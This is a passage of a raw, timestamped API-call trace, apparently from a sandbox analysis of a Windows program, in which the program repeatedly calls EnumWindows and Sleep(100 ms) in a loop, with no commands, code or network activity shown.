(dwMilliseconds=0x64) [0196.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.052] Sleep (dwMilliseconds=0x64) [0196.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.054] Sleep (dwMilliseconds=0x64) [0196.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.055] Sleep (dwMilliseconds=0x64) [0196.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.058] Sleep (dwMilliseconds=0x64) [0196.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.060] Sleep (dwMilliseconds=0x64) [0196.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.062] Sleep (dwMilliseconds=0x64) [0196.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.064] Sleep (dwMilliseconds=0x64) [0196.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.066] Sleep (dwMilliseconds=0x64) [0196.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.067] Sleep (dwMilliseconds=0x64) [0196.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.069] Sleep (dwMilliseconds=0x64) [0196.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.070] Sleep (dwMilliseconds=0x64) [0196.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.072] Sleep (dwMilliseconds=0x64) [0196.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.123] Sleep (dwMilliseconds=0x64) [0196.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.163] Sleep (dwMilliseconds=0x64) [0196.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.165] Sleep (dwMilliseconds=0x64) [0196.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.166] Sleep (dwMilliseconds=0x64) [0196.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.168] Sleep (dwMilliseconds=0x64) [0196.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.169] Sleep (dwMilliseconds=0x64) [0196.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.171] Sleep (dwMilliseconds=0x64) [0196.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.173] Sleep (dwMilliseconds=0x64) [0196.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.174] Sleep (dwMilliseconds=0x64) [0196.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.176] Sleep (dwMilliseconds=0x64) [0196.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.177] Sleep (dwMilliseconds=0x64) [0196.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.183] Sleep (dwMilliseconds=0x64) [0196.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.185] Sleep (dwMilliseconds=0x64) [0196.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.186] Sleep (dwMilliseconds=0x64) [0196.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.188] Sleep (dwMilliseconds=0x64) [0196.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.189] Sleep (dwMilliseconds=0x64) [0196.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.191] Sleep (dwMilliseconds=0x64) [0196.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.193] Sleep (dwMilliseconds=0x64) [0196.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.237] Sleep (dwMilliseconds=0x64) [0196.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.303] Sleep (dwMilliseconds=0x64) [0196.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.305] Sleep (dwMilliseconds=0x64) [0196.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.307] Sleep (dwMilliseconds=0x64) [0196.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.308] Sleep (dwMilliseconds=0x64) [0196.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.310] Sleep (dwMilliseconds=0x64) [0196.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.312] Sleep (dwMilliseconds=0x64) [0196.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.314] Sleep (dwMilliseconds=0x64) [0196.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.315] Sleep (dwMilliseconds=0x64) [0196.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.319] Sleep (dwMilliseconds=0x64) [0196.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.320] Sleep (dwMilliseconds=0x64) [0196.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.322] Sleep (dwMilliseconds=0x64) [0196.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.324] Sleep (dwMilliseconds=0x64) [0196.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.326] Sleep (dwMilliseconds=0x64) [0196.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.328] Sleep (dwMilliseconds=0x64) [0196.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.329] Sleep (dwMilliseconds=0x64) [0196.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.331] Sleep (dwMilliseconds=0x64) [0196.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.333] Sleep (dwMilliseconds=0x64) [0196.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.350] Sleep (dwMilliseconds=0x64) [0196.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.436] Sleep (dwMilliseconds=0x64) [0196.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.438] Sleep (dwMilliseconds=0x64) [0196.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.439] Sleep (dwMilliseconds=0x64) [0196.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.441] Sleep (dwMilliseconds=0x64) [0196.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.442] Sleep (dwMilliseconds=0x64) [0196.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.444] Sleep (dwMilliseconds=0x64) [0196.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.445] Sleep (dwMilliseconds=0x64) [0196.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.447] Sleep (dwMilliseconds=0x64) [0196.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.448] Sleep (dwMilliseconds=0x64) [0196.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.449] Sleep (dwMilliseconds=0x64) [0196.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.451] Sleep (dwMilliseconds=0x64) [0196.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.452] Sleep (dwMilliseconds=0x64) [0196.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.454] Sleep (dwMilliseconds=0x64) [0196.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.455] Sleep (dwMilliseconds=0x64) [0196.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.457] Sleep (dwMilliseconds=0x64) [0196.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.458] Sleep (dwMilliseconds=0x64) [0196.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.460] Sleep (dwMilliseconds=0x64) [0196.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.461] Sleep (dwMilliseconds=0x64) [0196.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.463] Sleep (dwMilliseconds=0x64) [0196.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.464] Sleep (dwMilliseconds=0x64) [0196.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.474] Sleep (dwMilliseconds=0x64) [0196.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.589] Sleep (dwMilliseconds=0x64) [0196.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.604] Sleep (dwMilliseconds=0x64) [0196.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.606] Sleep (dwMilliseconds=0x64) [0196.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.608] Sleep (dwMilliseconds=0x64) [0196.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.609] Sleep (dwMilliseconds=0x64) [0196.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.611] Sleep (dwMilliseconds=0x64) [0196.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.612] Sleep (dwMilliseconds=0x64) [0196.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.614] Sleep (dwMilliseconds=0x64) [0196.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.615] Sleep (dwMilliseconds=0x64) [0196.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.617] Sleep (dwMilliseconds=0x64) [0196.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.618] Sleep (dwMilliseconds=0x64) [0196.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.620] Sleep (dwMilliseconds=0x64) [0196.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.621] Sleep (dwMilliseconds=0x64) [0196.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.623] Sleep (dwMilliseconds=0x64) [0196.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.624] Sleep (dwMilliseconds=0x64) [0196.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.656] Sleep (dwMilliseconds=0x64) [0196.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.732] Sleep (dwMilliseconds=0x64) [0196.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.775] Sleep (dwMilliseconds=0x64) [0196.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.777] Sleep (dwMilliseconds=0x64) [0196.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.779] Sleep (dwMilliseconds=0x64) [0196.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.783] Sleep (dwMilliseconds=0x64) [0196.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.786] Sleep (dwMilliseconds=0x64) [0196.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.790] Sleep (dwMilliseconds=0x64) [0196.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.792] Sleep (dwMilliseconds=0x64) [0196.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.794] Sleep (dwMilliseconds=0x64) [0196.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.795] Sleep (dwMilliseconds=0x64) [0196.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.797] Sleep (dwMilliseconds=0x64) [0196.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.798] Sleep (dwMilliseconds=0x64) [0196.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.853] Sleep (dwMilliseconds=0x64) [0196.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.855] Sleep (dwMilliseconds=0x64) [0196.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.916] Sleep (dwMilliseconds=0x64) [0196.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.919] Sleep (dwMilliseconds=0x64) [0196.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.920] Sleep (dwMilliseconds=0x64) [0196.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.922] Sleep (dwMilliseconds=0x64) [0196.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.923] Sleep (dwMilliseconds=0x64) [0196.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.925] Sleep (dwMilliseconds=0x64) [0196.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.926] Sleep (dwMilliseconds=0x64) [0196.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.928] Sleep (dwMilliseconds=0x64) [0196.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.929] Sleep (dwMilliseconds=0x64) [0196.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.931] Sleep (dwMilliseconds=0x64) [0196.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.932] Sleep (dwMilliseconds=0x64) [0196.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.934] Sleep (dwMilliseconds=0x64) [0196.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.935] Sleep (dwMilliseconds=0x64) [0196.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.937] Sleep (dwMilliseconds=0x64) [0196.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.938] Sleep (dwMilliseconds=0x64) [0196.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.940] Sleep (dwMilliseconds=0x64) [0196.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.941] Sleep (dwMilliseconds=0x64) [0196.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.943] Sleep (dwMilliseconds=0x64) [0196.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.945] Sleep (dwMilliseconds=0x64) [0196.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.946] Sleep (dwMilliseconds=0x64) [0196.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.995] Sleep (dwMilliseconds=0x64) [0197.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.056] Sleep (dwMilliseconds=0x64) [0197.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.058] Sleep (dwMilliseconds=0x64) [0197.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.060] Sleep (dwMilliseconds=0x64) [0197.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.061] Sleep (dwMilliseconds=0x64) [0197.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.063] Sleep (dwMilliseconds=0x64) [0197.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.064] Sleep (dwMilliseconds=0x64) [0197.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.066] Sleep (dwMilliseconds=0x64) [0197.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.067] Sleep (dwMilliseconds=0x64) [0197.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.069] Sleep (dwMilliseconds=0x64) [0197.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.073] Sleep (dwMilliseconds=0x64) [0197.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.075] Sleep (dwMilliseconds=0x64) [0197.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.077] Sleep (dwMilliseconds=0x64) [0197.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.079] Sleep (dwMilliseconds=0x64) [0197.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.081] Sleep (dwMilliseconds=0x64) [0197.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.083] Sleep (dwMilliseconds=0x64) [0197.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.085] Sleep (dwMilliseconds=0x64) [0197.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.113] Sleep (dwMilliseconds=0x64) [0197.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.302] Sleep (dwMilliseconds=0x64) [0197.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.402] Sleep (dwMilliseconds=0x64) [0197.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.403] Sleep (dwMilliseconds=0x64) [0197.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.405] Sleep (dwMilliseconds=0x64) [0197.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.409] Sleep (dwMilliseconds=0x64) [0197.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.410] Sleep (dwMilliseconds=0x64) [0197.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.412] Sleep (dwMilliseconds=0x64) [0197.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.413] Sleep (dwMilliseconds=0x64) [0197.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.415] Sleep (dwMilliseconds=0x64) [0197.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.416] Sleep (dwMilliseconds=0x64) [0197.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.418] Sleep (dwMilliseconds=0x64) [0197.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.419] Sleep (dwMilliseconds=0x64) [0197.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.421] Sleep (dwMilliseconds=0x64) [0197.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.423] Sleep (dwMilliseconds=0x64) [0197.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.425] Sleep (dwMilliseconds=0x64) [0197.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.427] Sleep (dwMilliseconds=0x64) [0197.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.429] Sleep (dwMilliseconds=0x64) [0197.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.431] Sleep (dwMilliseconds=0x64) [0197.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.442] Sleep (dwMilliseconds=0x64) [0197.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.541] Sleep (dwMilliseconds=0x64) [0197.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.543] Sleep (dwMilliseconds=0x64) [0197.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.545] Sleep (dwMilliseconds=0x64) [0197.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.547] Sleep (dwMilliseconds=0x64) [0197.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.574] Sleep (dwMilliseconds=0x64) [0197.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.588] Sleep (dwMilliseconds=0x64) [0197.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.683] Sleep (dwMilliseconds=0x64) [0197.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.684] Sleep (dwMilliseconds=0x64) [0197.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.711] Sleep (dwMilliseconds=0x64) [0197.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.728] Sleep (dwMilliseconds=0x64) [0197.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.826] Sleep (dwMilliseconds=0x64) [0197.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.828] Sleep (dwMilliseconds=0x64) [0197.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.830] Sleep (dwMilliseconds=0x64) [0197.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.831] Sleep (dwMilliseconds=0x64) [0197.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.833] Sleep (dwMilliseconds=0x64) [0197.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.834] Sleep (dwMilliseconds=0x64) [0197.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.836] Sleep (dwMilliseconds=0x64) [0197.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.837] Sleep (dwMilliseconds=0x64) [0197.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.839] Sleep (dwMilliseconds=0x64) [0197.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.840] Sleep (dwMilliseconds=0x64) [0197.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.842] Sleep (dwMilliseconds=0x64) [0197.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.843] Sleep (dwMilliseconds=0x64) [0197.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.845] Sleep (dwMilliseconds=0x64) [0197.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.846] Sleep (dwMilliseconds=0x64) [0197.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.848] Sleep (dwMilliseconds=0x64) [0197.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.850] Sleep (dwMilliseconds=0x64) [0197.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.852] Sleep (dwMilliseconds=0x64) [0197.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.854] Sleep (dwMilliseconds=0x64) [0197.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.856] Sleep (dwMilliseconds=0x64) [0197.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.876] Sleep (dwMilliseconds=0x64) [0197.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.986] Sleep (dwMilliseconds=0x64) [0197.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.988] Sleep (dwMilliseconds=0x64) [0197.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.990] Sleep (dwMilliseconds=0x64) [0197.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.992] Sleep (dwMilliseconds=0x64) [0197.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.994] Sleep (dwMilliseconds=0x64) [0197.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.995] Sleep (dwMilliseconds=0x64) [0197.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.996] Sleep (dwMilliseconds=0x64) [0197.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.998] Sleep (dwMilliseconds=0x64) [0197.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0197.999] Sleep (dwMilliseconds=0x64) [0198.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.001] Sleep (dwMilliseconds=0x64) [0198.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.004] Sleep (dwMilliseconds=0x64) [0198.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.005] Sleep (dwMilliseconds=0x64) [0198.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.023] Sleep (dwMilliseconds=0x64) [0198.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.110] Sleep (dwMilliseconds=0x64) [0198.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.111] Sleep (dwMilliseconds=0x64) [0198.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.113] Sleep (dwMilliseconds=0x64) [0198.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.115] Sleep (dwMilliseconds=0x64) [0198.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.117] Sleep (dwMilliseconds=0x64) [0198.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.119] Sleep (dwMilliseconds=0x64) [0198.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.120] Sleep (dwMilliseconds=0x64) [0198.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.122] Sleep (dwMilliseconds=0x64) [0198.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.123] Sleep (dwMilliseconds=0x64) [0198.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.125] Sleep (dwMilliseconds=0x64) [0198.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.127] Sleep (dwMilliseconds=0x64) [0198.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.128] Sleep (dwMilliseconds=0x64) [0198.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.130] Sleep (dwMilliseconds=0x64) [0198.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.133] Sleep (dwMilliseconds=0x64) [0198.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.135] Sleep (dwMilliseconds=0x64) [0198.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.137] Sleep (dwMilliseconds=0x64) [0198.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.138] Sleep (dwMilliseconds=0x64) [0198.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.140] Sleep (dwMilliseconds=0x64) [0198.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.164] Sleep (dwMilliseconds=0x64) [0198.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.246] Sleep (dwMilliseconds=0x64) [0198.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.249] Sleep (dwMilliseconds=0x64) [0198.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.250] Sleep (dwMilliseconds=0x64) [0198.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.252] Sleep (dwMilliseconds=0x64) [0198.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.257] Sleep (dwMilliseconds=0x64) [0198.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.259] Sleep (dwMilliseconds=0x64) [0198.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.261] Sleep (dwMilliseconds=0x64) [0198.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.262] Sleep (dwMilliseconds=0x64) [0198.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.264] Sleep (dwMilliseconds=0x64) [0198.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.265] Sleep (dwMilliseconds=0x64) [0198.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.267] Sleep (dwMilliseconds=0x64) [0198.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.269] Sleep (dwMilliseconds=0x64) [0198.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.270] Sleep (dwMilliseconds=0x64) [0198.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.272] Sleep (dwMilliseconds=0x64) [0198.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.273] Sleep (dwMilliseconds=0x64) [0198.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.275] Sleep (dwMilliseconds=0x64) [0198.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.277] Sleep (dwMilliseconds=0x64) [0198.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.278] Sleep (dwMilliseconds=0x64) [0198.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.359] Sleep (dwMilliseconds=0x64) [0198.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.388] Sleep (dwMilliseconds=0x64) [0198.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.392] Sleep (dwMilliseconds=0x64) [0198.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.393] Sleep (dwMilliseconds=0x64) [0198.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 